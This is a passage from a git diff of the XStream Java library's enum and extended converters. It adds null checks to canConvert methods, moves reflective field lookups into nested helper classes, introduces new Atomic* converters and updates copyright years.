    - * + * * @author Joe Walnes * @author Jörg Schaible */ public class EnumSetConverter implements Converter { - private final static Field typeField = Fields.locate(EnumSet.class, Class.class, false); private final Mapper mapper; public EnumSetConverter(final Mapper mapper) { @@ -46,13 +45,13 @@ public EnumSetConverter(final Mapper mapper) { @Override public boolean canConvert(final Class type) { - return typeField != null && EnumSet.class.isAssignableFrom(type); + return type != null && EnumSet.class.isAssignableFrom(type) && Reflections.typeField != null; } @Override public void marshal(final Object source, final HierarchicalStreamWriter writer, final MarshallingContext context) { final EnumSet set = (EnumSet)source; - final Class enumTypeForSet = (Class)Fields.read(typeField, set); + final Class enumTypeForSet = (Class)Fields.read(Reflections.typeField, set); final String attributeName = mapper.aliasForSystemAttribute("enum-type"); if (attributeName != null) { writer.addAttribute(attributeName, mapper.serializedClass(enumTypeForSet)); @@ -99,4 +98,7 @@ private > EnumSet create(final Class type, final String return set; } + private static class Reflections { + private final static Field typeField = Fields.locate(EnumSet.class, Class.class, false); + } } diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/enums/EnumSingleValueConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/enums/EnumSingleValueConverter.java index b9043c146..4526c906e 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/enums/EnumSingleValueConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/enums/EnumSingleValueConverter.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2008, 2009, 2010, 2013, 2014 XStream Committers. + * Copyright (C) 2008, 2009, 2010, 2013, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -32,7 +32,7 @@ public EnumSingleValueConverter(final Class type) { @Override public boolean canConvert(final Class type) { - return enumType.isAssignableFrom(type); + return type != null && enumType.isAssignableFrom(type); } @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/enums/EnumToStringConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/enums/EnumToStringConverter.java index 08517f484..c6a7a431e 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/enums/EnumToStringConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/enums/EnumToStringConverter.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2013, 2014, 2015, 2016 XStream Committers. + * Copyright (C) 2013, 2014, 2015, 2016, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -77,7 +77,7 @@ private static > EnumMap buildValueMap(final Class< @Override public boolean canConvert(final Class type) { - return enumType.isAssignableFrom(type); + return type != null && enumType.isAssignableFrom(type); } @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/ActivationDataFlavorConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/ActivationDataFlavorConverter.java index a7e6904fa..a83134b60 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/extended/ActivationDataFlavorConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/ActivationDataFlavorConverter.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2015 XStream Committers. + * Copyright (C) 2015, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -87,9 +87,7 @@ public Object unmarshal(final HierarchicalStreamReader reader, final Unmarshalli } else { dataFlavor = new ActivationDataFlavor(type, mimeType, name); } - } catch (final IllegalArgumentException ex) { - throw new ConversionException(ex); - } catch (final NullPointerException ex) { + } catch (final IllegalArgumentException | NullPointerException ex) { throw new ConversionException(ex); } return dataFlavor; diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/AtomicBooleanConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/AtomicBooleanConverter.java new file mode 100644 index 000000000..6071209a8 --- /dev/null +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/AtomicBooleanConverter.java @@ -0,0 +1,73 @@ +/* + * Copyright (C) 2022 XStream Committers. + * All rights reserved. + * + * The software in this package is published under the terms of the BSD + * style license a copy of which has been included with this distribution in + * the LICENSE.txt file. + * + * Created on 26. November 2022 by Joerg Schaible + */ +package com.thoughtworks.xstream.converters.extended; + +import java.util.concurrent.atomic.AtomicBoolean; + +import com.thoughtworks.xstream.converters.Converter; +import com.thoughtworks.xstream.converters.MarshallingContext; +import com.thoughtworks.xstream.converters.UnmarshallingContext; +import com.thoughtworks.xstream.converters.basic.BooleanConverter; +import com.thoughtworks.xstream.io.HierarchicalStreamReader; +import com.thoughtworks.xstream.io.HierarchicalStreamWriter; + + +/** + * Converts an AtomicBoolean type. + * + * @author Basil Crow + * @author Jörg Schaible + * @since 1.4.20 + */ +public class AtomicBooleanConverter extends BooleanConverter implements Converter { + + /** + * Constructs an AtomicBooleanConverter. Initializes the converter with true and false as + * string representation. + */ + public AtomicBooleanConverter() { + super(); + } + + @Override + public boolean canConvert(final Class type) { + return type != null && type == AtomicBoolean.class; + } + + @Override + public void marshal(final Object source, final HierarchicalStreamWriter writer, final MarshallingContext context) { + writer.setValue(toString(source)); + } + + @Override + public Object unmarshal(final HierarchicalStreamReader reader, final UnmarshallingContext context) { + final String data = reader.getValue(); // needs to be called before hasMoreChildren. + if (!reader.hasMoreChildren()) { + return fromString(data); + } else { + // backwards compatibility ... unmarshal nested element + reader.moveDown(); + final AtomicBoolean atomicBoolean = new AtomicBoolean("1".equals(reader.getValue())); + reader.moveUp(); + return atomicBoolean; + } + } + + @Override + public String toString(final Object obj) { + return super.toString(((AtomicBoolean)obj).get() ? Boolean.TRUE : Boolean.FALSE); + } + + @Override + public Object fromString(final String str) { + return new AtomicBoolean(((Boolean)super.fromString(str)).booleanValue()); + } +} diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/AtomicIntegerConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/AtomicIntegerConverter.java new file mode 100644 index 000000000..32a69c4b8 --- /dev/null +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/AtomicIntegerConverter.java @@ -0,0 +1,71 @@ +/* + * Copyright (C) 2022 XStream Committers. + * All rights reserved. + * + * The software in this package is published under the terms of the BSD + * style license a copy of which has been included with this distribution in + * the LICENSE.txt file. + * + * Created on 28. November 2022 by Joerg Schaible + */ +package com.thoughtworks.xstream.converters.extended; + +import java.util.concurrent.atomic.AtomicInteger; + +import com.thoughtworks.xstream.converters.Converter; +import com.thoughtworks.xstream.converters.MarshallingContext; +import com.thoughtworks.xstream.converters.UnmarshallingContext; +import com.thoughtworks.xstream.converters.basic.IntConverter; +import com.thoughtworks.xstream.io.HierarchicalStreamReader; +import com.thoughtworks.xstream.io.HierarchicalStreamWriter; + + +/** + * Converts an AtomicInteger type. + * + * @author Jörg Schaible + * @since 1.4.20 + */ +public class AtomicIntegerConverter extends IntConverter implements Converter { + + /** + * Constructs an AtomicIntegerConverter. + */ + public AtomicIntegerConverter() { + super(); + } + + @Override + public boolean canConvert(final Class type) { + return type != null && type == AtomicInteger.class; + } + + @Override + public void marshal(final Object source, final HierarchicalStreamWriter writer, final MarshallingContext context) { + writer.setValue(toString(source)); + } + + @Override + public Object unmarshal(final HierarchicalStreamReader reader, final UnmarshallingContext context) { + final String data = reader.getValue(); // needs to be called before hasMoreChildren. + if (!reader.hasMoreChildren()) { + return fromString(data); + } else { + // backwards compatibility ... unmarshal nested element + reader.moveDown(); + final Integer integer = (Integer)super.fromString(reader.getValue()); + reader.moveUp(); + return new AtomicInteger(integer.intValue()); + } + } + + @Override + public String toString(final Object obj) { + return super.toString(Integer.valueOf(((AtomicInteger)obj).get())); + } + + @Override + public Object fromString(final String str) { + return new AtomicInteger(((Integer)super.fromString(str)).intValue()); + } +} diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/AtomicLongConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/AtomicLongConverter.java new file mode 100644 index 000000000..c9407d32d --- /dev/null +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/AtomicLongConverter.java @@ -0,0 +1,71 @@ +/* + * Copyright (C) 2022 XStream Committers. + * All rights reserved. + * + * The software in this package is published under the terms of the BSD + * style license a copy of which has been included with this distribution in + * the LICENSE.txt file. + * + * Created on 28. November 2022 by Joerg Schaible + */ +package com.thoughtworks.xstream.converters.extended; + +import java.util.concurrent.atomic.AtomicLong; + +import com.thoughtworks.xstream.converters.Converter; +import com.thoughtworks.xstream.converters.MarshallingContext; +import com.thoughtworks.xstream.converters.UnmarshallingContext; +import com.thoughtworks.xstream.converters.basic.LongConverter; +import com.thoughtworks.xstream.io.HierarchicalStreamReader; +import com.thoughtworks.xstream.io.HierarchicalStreamWriter; + + +/** + * Converts an AtomicLong type. + * + * @author Jörg Schaible + * @since 1.4.20 + */ +public class AtomicLongConverter extends LongConverter implements Converter { + + /** + * Constructs an AtomicLongConverter. + */ + public AtomicLongConverter() { + super(); + } + + @Override + public boolean canConvert(final Class type) { + return type != null && type == AtomicLong.class; + } + + @Override + public void marshal(final Object source, final HierarchicalStreamWriter writer, final MarshallingContext context) { + writer.setValue(toString(source)); + } + + @Override + public Object unmarshal(final HierarchicalStreamReader reader, final UnmarshallingContext context) { + final String data = reader.getValue(); // needs to be called before hasMoreChildren. + if (!reader.hasMoreChildren()) { + return fromString(data); + } else { + // backwards compatibility ... unmarshal nested element + reader.moveDown(); + final Long integer = (Long)super.fromString(reader.getValue()); + reader.moveUp(); + return new AtomicLong(integer.longValue()); + } + } + + @Override + public String toString(final Object obj) { + return super.toString(Long.valueOf(((AtomicLong)obj).get())); + } + + @Override + public Object fromString(final String str) { + return new AtomicLong(((Long)super.fromString(str)).longValue()); + } +} diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/AtomicReferenceConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/AtomicReferenceConverter.java new file mode 100644 index 000000000..f803087d5 --- /dev/null +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/AtomicReferenceConverter.java @@ -0,0 +1,71 @@ +/* + * Copyright (C) 2022, 2023 XStream Committers. + * All rights reserved. + * + * The software in this package is published under the terms of the BSD + * style license a copy of which has been included with this distribution in + * the LICENSE.txt file. + * + * Created on 29. November 2022 by Joerg Schaible + */ +package com.thoughtworks.xstream.converters.extended; + +import java.util.concurrent.atomic.AtomicReference; + +import com.thoughtworks.xstream.converters.Converter; +import com.thoughtworks.xstream.converters.MarshallingContext; +import com.thoughtworks.xstream.converters.UnmarshallingContext; +import com.thoughtworks.xstream.core.util.HierarchicalStreams; +import com.thoughtworks.xstream.io.HierarchicalStreamReader; +import com.thoughtworks.xstream.io.HierarchicalStreamWriter; +import com.thoughtworks.xstream.mapper.Mapper; + + +/** + * Converts an AtomicReference type. + * + * @author Jörg Schaible + * @since 1.4.20 + */ +public class AtomicReferenceConverter implements Converter { + + private final Mapper mapper; + + public AtomicReferenceConverter(final Mapper mapper) { + this.mapper = mapper; + } + + @Override + public boolean canConvert(final Class type) { + return type != null && type == AtomicReference.class; + } + + @Override + public void marshal(final Object source, final HierarchicalStreamWriter writer, final MarshallingContext context) { + final AtomicReference ref = (AtomicReference)source; + final Object object = ref.get(); + if (object != null) { + writer.startNode(mapper.serializedMember(AtomicReference.class, "value")); + + final String name = mapper.serializedClass(object.getClass()); + writer.addAttribute(mapper.aliasForSystemAttribute("class"), name); + context.convertAnother(object); + writer.endNode(); + } + } + + @Override + public Object unmarshal(final HierarchicalStreamReader reader, final UnmarshallingContext context) { + if (reader.hasMoreChildren()) { + reader.moveDown(); + + final Class type = HierarchicalStreams.readClassType(reader, mapper); + final Object value = context.convertAnother(context, type); + reader.moveUp(); + return new AtomicReference<>(value); + } else { + return new AtomicReference<>(); + } + } + +} diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/CharsetConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/CharsetConverter.java index b6b0a3848..4f6e2ab14 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/extended/CharsetConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/CharsetConverter.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2006, 2007, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -25,7 +25,7 @@ public class CharsetConverter extends AbstractSingleValueConverter { @Override public boolean canConvert(final Class type) { - return Charset.class.isAssignableFrom(type); + return type != null && Charset.class.isAssignableFrom(type); } @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/ColorConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/ColorConverter.java index bd154b218..4e033d26a 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/extended/ColorConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/ColorConverter.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2003, 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2014, 2015 XStream Committers. + * Copyright (C) 2006, 2007, 2014, 2015, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 01. October 2003 by Joe Walnes */ package com.thoughtworks.xstream.converters.extended; @@ -18,14 +18,13 @@ import com.thoughtworks.xstream.converters.Converter; import com.thoughtworks.xstream.converters.MarshallingContext; import com.thoughtworks.xstream.converters.UnmarshallingContext; -import com.thoughtworks.xstream.io.ExtendedHierarchicalStreamWriterHelper; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; /** * Converts an AWT {@link Color}, using four nested elements: red, green, blue, alpha. - * + * * @author Joe Walnes */ public class ColorConverter implements Converter { @@ -34,7 +33,7 @@ public class ColorConverter implements Converter { public boolean canConvert(final Class type) { // String comparison is used here because Color.class loads the class which in turns instantiates AWT, // which is nasty if you don't want it. - return type.getName().equals("java.awt.Color"); + return type != null && type.getName().equals("java.awt.Color"); } @Override @@ -60,7 +59,7 @@ public Object unmarshal(final HierarchicalStreamReader reader, final Unmarshalli } private void write(final String fieldName, final int value, final HierarchicalStreamWriter writer) { - ExtendedHierarchicalStreamWriterHelper.startNode(writer, fieldName, int.class); + writer.startNode(fieldName, int.class); writer.setValue(String.valueOf(value)); writer.endNode(); } diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/CurrencyConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/CurrencyConverter.java index 1872445a2..2ec55b83b 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/extended/CurrencyConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/CurrencyConverter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -30,7 +30,7 @@ public class CurrencyConverter extends AbstractSingleValueConverter { @Override public boolean canConvert(final Class type) { - return type.equals(Currency.class); + return type == Currency.class; } @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/DurationConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/DurationConverter.java index d1c1ed28d..02858ba24 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/extended/DurationConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/DurationConverter.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2007, 2008, 2011, 2014 XStream Committers. + * Copyright (C) 2007, 2008, 2011, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -50,12 +50,12 @@ public DurationConverter(final DatatypeFactory factory) { } @Override - public boolean canConvert(final Class c) { - return factory != null && Duration.class.isAssignableFrom(c); + public boolean canConvert(final Class type) { + return factory != null && type != null && Duration.class.isAssignableFrom(type); } @Override - public Object fromString(final String s) { - return factory.newDuration(s); + public Object fromString(final String str) { + return factory.newDuration(str); } } diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/DynamicProxyConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/DynamicProxyConverter.java index 002720143..425469491 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/extended/DynamicProxyConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/DynamicProxyConverter.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2010, 2013, 2014, 2015 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2010, 2013, 2014, 2015, 2018, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 25. March 2004 by Joe Walnes */ package com.thoughtworks.xstream.converters.extended; @@ -32,20 +32,13 @@ /** * Converts a dynamic proxy to XML, storing the implemented interfaces and handler. - * + * * @author Joe Walnes */ public class DynamicProxyConverter implements Converter { private final ClassLoaderReference classLoaderReference; private final Mapper mapper; - private static final Field HANDLER = Fields.locate(Proxy.class, InvocationHandler.class, false); - private static final InvocationHandler DUMMY = new InvocationHandler() { - @Override - public Object invoke(final Object proxy, final Method method, final Object[] args) throws Throwable { - return null; - } - }; /** * @deprecated As of 1.4.5 use {@link #DynamicProxyConverter(Mapper, ClassLoaderReference)} @@ -57,7 +50,7 @@ public DynamicProxyConverter(final Mapper mapper) { /** * Construct a DynamicProxyConverter. - * + * * @param mapper the Mapper chain * @param classLoaderReference the reference to the {@link ClassLoader} of the XStream instance * @since 1.4.5 @@ -77,7 +70,7 @@ public DynamicProxyConverter(final Mapper mapper, final ClassLoader classLoader) @Override public boolean canConvert(final Class type) { - return type.equals(DynamicProxyMapper.DynamicProxy.class) || Proxy.isProxyClass(type); + return type != null && (type.equals(DynamicProxyMapper.DynamicProxy.class) || Proxy.isProxyClass(type)); } @Override @@ -127,16 +120,27 @@ public Object unmarshal(final HierarchicalStreamReader reader, final Unmarshalli final Class[] interfacesAsArray = new Class[interfaces.size()]; interfaces.toArray(interfacesAsArray); Object proxy = null; - if (HANDLER != null) { // we will not be able to resolve references to the proxy - proxy = Proxy.newProxyInstance(classLoaderReference.getReference(), interfacesAsArray, DUMMY); + if (Reflections.HANDLER != null) { // we will not be able to resolve references to the proxy + proxy = Proxy.newProxyInstance(classLoaderReference.getReference(), interfacesAsArray, Reflections.DUMMY); } handler = (InvocationHandler)context.convertAnother(proxy, handlerType); reader.moveUp(); - if (HANDLER != null) { - Fields.write(HANDLER, proxy, handler); + if (Reflections.HANDLER != null) { + Fields.write(Reflections.HANDLER, proxy, handler); } else { proxy = Proxy.newProxyInstance(classLoaderReference.getReference(), interfacesAsArray, handler); } return proxy; } + + private static class Reflections { + + private static final Field HANDLER = Fields.locate(Proxy.class, InvocationHandler.class, false); + private static final InvocationHandler DUMMY = new InvocationHandler() { + @Override + public Object invoke(final Object proxy, final Method method, final Object[] args) throws Throwable { + return null; + } + }; + } } diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/EncodedByteArrayConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/EncodedByteArrayConverter.java index 80714b445..3f1d92dfc 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/extended/EncodedByteArrayConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/EncodedByteArrayConverter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2010, 2014, 2015, 2017 XStream Committers. + * Copyright (C) 2006, 2007, 2010, 2014, 2015, 2017, 2018, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -19,7 +19,7 @@ import com.thoughtworks.xstream.converters.SingleValueConverter; import com.thoughtworks.xstream.converters.UnmarshallingContext; import com.thoughtworks.xstream.converters.basic.ByteConverter; -import com.thoughtworks.xstream.core.JVM; +import com.thoughtworks.xstream.core.Base64Codec; import com.thoughtworks.xstream.core.StringCodec; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; @@ -33,21 +33,22 @@ */ public class EncodedByteArrayConverter implements Converter, SingleValueConverter { + private static final StringCodec defaultCodec = new Base64Codec(); private static final ByteConverter byteConverter = new ByteConverter(); private final StringCodec codec; /** - * Constructs an EncodedByteArrayConverter. Initializes the converter with a Base64 codec. + * Constructs an EncodedByteArrayConverter. Initializes the converter with a {@link Base64Codec} instance. */ public EncodedByteArrayConverter() { - this(JVM.getBase64Codec()); + this(defaultCodec); } /** * Constructs an EncodedByteArrayConverter with a provided string codec. * * @param stringCodec the codec to encode and decode the data as string - * @since upcoming + * @since 1.4.11 */ public EncodedByteArrayConverter(final StringCodec stringCodec) { codec = stringCodec; @@ -55,7 +56,7 @@ public EncodedByteArrayConverter(final StringCodec stringCodec) { @Override public boolean canConvert(final Class type) { - return type.isArray() && type.getComponentType().equals(byte.class); + return type != null && type.isArray() && type.getComponentType().equals(byte.class); } @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/FileConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/FileConverter.java index 67b99ff03..78397f6c1 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/extended/FileConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/FileConverter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -28,7 +28,7 @@ public class FileConverter extends AbstractSingleValueConverter { @Override public boolean canConvert(final Class type) { - return type.equals(File.class); + return type == File.class; } @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/FontConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/FontConverter.java index ddb2081c3..86a73c36d 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/extended/FontConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/FontConverter.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2013, 2014, 2015 XStream Committers. + * Copyright (C) 2006, 2007, 2013, 2014, 2015, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 08. July 2004 by Joe Walnes */ package com.thoughtworks.xstream.converters.extended; @@ -24,7 +24,6 @@ import com.thoughtworks.xstream.converters.MarshallingContext; import com.thoughtworks.xstream.converters.SingleValueConverter; import com.thoughtworks.xstream.converters.UnmarshallingContext; -import com.thoughtworks.xstream.io.ExtendedHierarchicalStreamWriterHelper; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; import com.thoughtworks.xstream.mapper.Mapper; @@ -40,7 +39,7 @@ public class FontConverter implements Converter { /** * Constructs a FontConverter. - * + * * @deprecated As of 1.4.5 */ @Deprecated @@ -50,7 +49,7 @@ public FontConverter() { /** * Constructs a FontConverter. - * + * * @param mapper * @since 1.4.5 */ @@ -67,7 +66,8 @@ public FontConverter(final Mapper mapper) { public boolean canConvert(final Class type) { // String comparison is used here because Font.class loads the class which in turns instantiates AWT, // which is nasty if you don't want it. - return type.getName().equals("java.awt.Font") || type.getName().equals("javax.swing.plaf.FontUIResource"); + return type != null + && (type.getName().equals("java.awt.Font") || type.getName().equals("javax.swing.plaf.FontUIResource")); } @Override @@ -80,7 +80,7 @@ public void marshal(final Object source, final HierarchicalStreamWriter writer, final String name = textAttributeConverter.toString(entry.getKey()); final Object value = entry.getValue(); final Class type = value != null ? value.getClass() : Mapper.Null.class; - ExtendedHierarchicalStreamWriterHelper.startNode(writer, name, type); + writer.startNode(name, type); writer.addAttribute(classAlias, mapper.serializedClass(type)); if (value != null) { context.convertAnother(value); @@ -107,7 +107,8 @@ public Object unmarshal(final HierarchicalStreamReader reader, final Unmarshalli reader.moveDown(); } final Class type = mapper.realClass(reader.getAttribute(classAlias)); - final TextAttribute attribute = (TextAttribute)textAttributeConverter.fromString(reader.getNodeName()); + final TextAttribute attribute = (TextAttribute)textAttributeConverter.fromString(reader + .getNodeName()); final Object value = type == Mapper.Null.class ? null : context.convertAnother(null, type); attributes.put(attribute, value); reader.moveUp(); diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/GregorianCalendarConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/GregorianCalendarConverter.java index b2f0b40e9..c9c951e98 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/extended/GregorianCalendarConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/GregorianCalendarConverter.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 24. July 2004 by Joe Walnes */ package com.thoughtworks.xstream.converters.extended; @@ -17,7 +17,6 @@ import com.thoughtworks.xstream.converters.Converter; import com.thoughtworks.xstream.converters.MarshallingContext; import com.thoughtworks.xstream.converters.UnmarshallingContext; -import com.thoughtworks.xstream.io.ExtendedHierarchicalStreamWriterHelper; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; @@ -28,7 +27,7 @@ * Note that although it currently only contains one field, it nests it inside a child element, to allow for other * fields to be stored in the future. *

    - * + * * @author Joe Walnes * @author Jörg Schaible */ @@ -36,17 +35,17 @@ public class GregorianCalendarConverter implements Converter { @Override public boolean canConvert(final Class type) { - return type.equals(GregorianCalendar.class); + return type == GregorianCalendar.class; } @Override public void marshal(final Object source, final HierarchicalStreamWriter writer, final MarshallingContext context) { final GregorianCalendar calendar = (GregorianCalendar)source; - ExtendedHierarchicalStreamWriterHelper.startNode(writer, "time", long.class); + writer.startNode("time", long.class); final long timeInMillis = calendar.getTimeInMillis(); writer.setValue(String.valueOf(timeInMillis)); writer.endNode(); - ExtendedHierarchicalStreamWriterHelper.startNode(writer, "timezone", String.class); + writer.startNode("timezone", String.class); writer.setValue(calendar.getTimeZone().getID()); writer.endNode(); } diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/ISO8601DateConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/ISO8601DateConverter.java index 91fd4766e..0c4ea00bf 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/extended/ISO8601DateConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/ISO8601DateConverter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2013, 2014, 2017 XStream Committers. + * Copyright (C) 2006, 2007, 2013, 2014, 2017, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -31,7 +31,7 @@ public class ISO8601DateConverter extends AbstractSingleValueConverter { @Override public boolean canConvert(final Class type) { - return type.equals(Date.class) && converter.canConvert(GregorianCalendar.class); + return type == Date.class && converter.canConvert(GregorianCalendar.class); } @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/ISO8601GregorianCalendarConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/ISO8601GregorianCalendarConverter.java index e17d6ad41..0e15fc5c3 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/extended/ISO8601GregorianCalendarConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/ISO8601GregorianCalendarConverter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2011, 2013, 2014, 2015, 2016, 2017 XStream Committers. + * Copyright (C) 2006, 2007, 2011, 2013, 2014, 2015, 2016, 2017, 2018, 2021 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -11,12 +11,11 @@ */ package com.thoughtworks.xstream.converters.extended; -import java.lang.reflect.InvocationTargetException; import java.util.GregorianCalendar; import com.thoughtworks.xstream.converters.SingleValueConverter; import com.thoughtworks.xstream.converters.basic.AbstractSingleValueConverter; -import com.thoughtworks.xstream.core.JVM; +import com.thoughtworks.xstream.core.util.ISO8601JavaTimeConverter; /** @@ -35,27 +34,12 @@ public class ISO8601GregorianCalendarConverter extends AbstractSingleValueConver private final SingleValueConverter converter; public ISO8601GregorianCalendarConverter() { - SingleValueConverter svConverter = null; - final Class type = JVM.loadClassForName(JVM.is18() - ? "com.thoughtworks.xstream.core.util.ISO8601JavaTimeConverter" - : "com.thoughtworks.xstream.core.util.ISO8601JodaTimeConverter"); - try { - svConverter = type.getDeclaredConstructor().newInstance(); - } catch (final - InstantiationException - | IllegalAccessException - | IllegalArgumentException - | InvocationTargetException - | NoSuchMethodException - | SecurityException e) { - // ignore - } - converter = svConverter; + converter = new ISO8601JavaTimeConverter(); } @Override public boolean canConvert(final Class type) { - return converter != null && type.equals(GregorianCalendar.class); + return converter != null && type == GregorianCalendar.class; } @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/extended/ISO8601SqlTimestampConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/extended/ISO8601SqlTimestampConverter.java index 6341df974..b4cbdc9ec 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/extended/ISO8601SqlTimestampConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/extended/ISO8601SqlTimestampConverter.java @@ -1,6 